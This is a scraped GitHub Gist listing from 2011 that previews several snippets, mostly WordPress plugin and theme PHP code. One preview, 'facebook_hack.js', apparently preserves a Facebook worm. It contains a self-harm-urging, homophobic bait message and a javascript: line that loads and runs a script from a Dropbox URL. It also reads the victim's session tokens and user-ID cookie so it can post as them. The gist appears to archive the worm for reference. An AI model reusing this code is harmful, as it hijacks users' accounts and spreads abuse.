Skip to content

Instantly share code, notes, and snippets.

@thefuxia
thefuxia / rename-cpt-sub.php
Created March 27, 2011 17:30
Renames the first submenu item for a custom post type
<?php
/*
Plugin Name: *WPSE13210
*/
! defined( 'ABSPATH' ) and exit;
add_action( 'init', 'register_academia' );
/**
* Registers te post type academias
@bueltge
bueltge / Submit Event
Created March 28, 2011 14:15
Submit Event in Frontend of Blog via Template in Theme for Plugin: EVENTS MANAGER EXTENDED
<?php
/*
Template Name: Submit Event
Author: Frank Bueltge
Author URI: http://bueltge.de/
*/
function add_errormessage_style() { ?>
<style type="text/css">
.errormessage { border: 3px solid red; padding: 5px; color: #000; }
@bueltge
bueltge / comments.php
Created May 3, 2011 17:39
iNove Theme
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/comment.js"></script>
<?php if (!empty($post->post_password) && $_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) : ?>
<div class="errorbox">
<?php _e('Enter your password to view comments.', 'inove'); ?>
</div>
<?php return; endif; ?>
<?php
$options = get_option('inove_options');
@tysonmote
tysonmote / facebook_hack.js
Created May 12, 2011 06:48
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@thefuxia
thefuxia / t5-extend-email-checks.php
Created May 15, 2011 02:23
T5 Extend Email Checks
<?php # -*- coding: utf-8 -*-
/*
Plugin Name: T5 Extend Email Checks
Description: Overrides the results of the functions <code>is_email()</code> and <code>sanitize_email()</code>. Allows for example <code>me@localhost</code> or punycode encoded email adresses by using PHP’s internal filter function.
Version: 2012.08.29
Plugin URI: http://toscho.de/?p=2195
Author: Thomas Scholz
Author URI: http://toscho.de
License: MIT
*/
@bueltge
bueltge / post-process.php
Created June 24, 2011 21:08
WordPress Custom Post Type: Insert post via Frontend
<?php
/**
* post-process.php
* make sure to include post-process.php in your functions.php. Use this in functions.php:
*
* get_template_part('post-process');
*
*/
function do_insert() {
if( 'POST' == $_SERVER['REQUEST_METHOD']
@hameedullah
hameedullah / cc-comment-count.php
Created July 4, 2011 14:49
Count comment print index
<?php
/*
Plugin Name: Comment Count Walker for WPSE
Author: Hameedullah Khan
Author URI: http://hameedullah.com
Version: 0.1
*/
class CC_Custom_Walker_Comment extends Walker_Comment {
@bueltge
bueltge / gist:1097431
Created July 21, 2011 15:25
count the number of hits on a specific page in WordPress
function count_page_hits() {
if ( is_single() ) {
global $post;
$count = get_post_meta( $post -> ID, 'count_page_hits', true );
$newcount = $count + 1;
update_post_meta( $post -> ID, 'count_page_hits', $newcount );
}
}
add_action( 'wp_head', 'count_page_hits' );
@iguana007
iguana007 / gist:1111155
Created July 28, 2011 07:30
Gmaps API - Localization
<script type="text/javascript" src="http://www.google.com/jsapi?key={!$googleKey}"></script>
<script type="text/javascript" charset="utf-8">
google.load("jquery", "1.6.1");
google.load("jqueryui", "1.8.13");
google.load("maps", "3.x", { other_params:"sensor=false&language=ja" });
</script>
<?php
class HoleType extends AbstractType
{
/**
* Used to populate from the constructor
* @var Hole
*/
private $hole = null;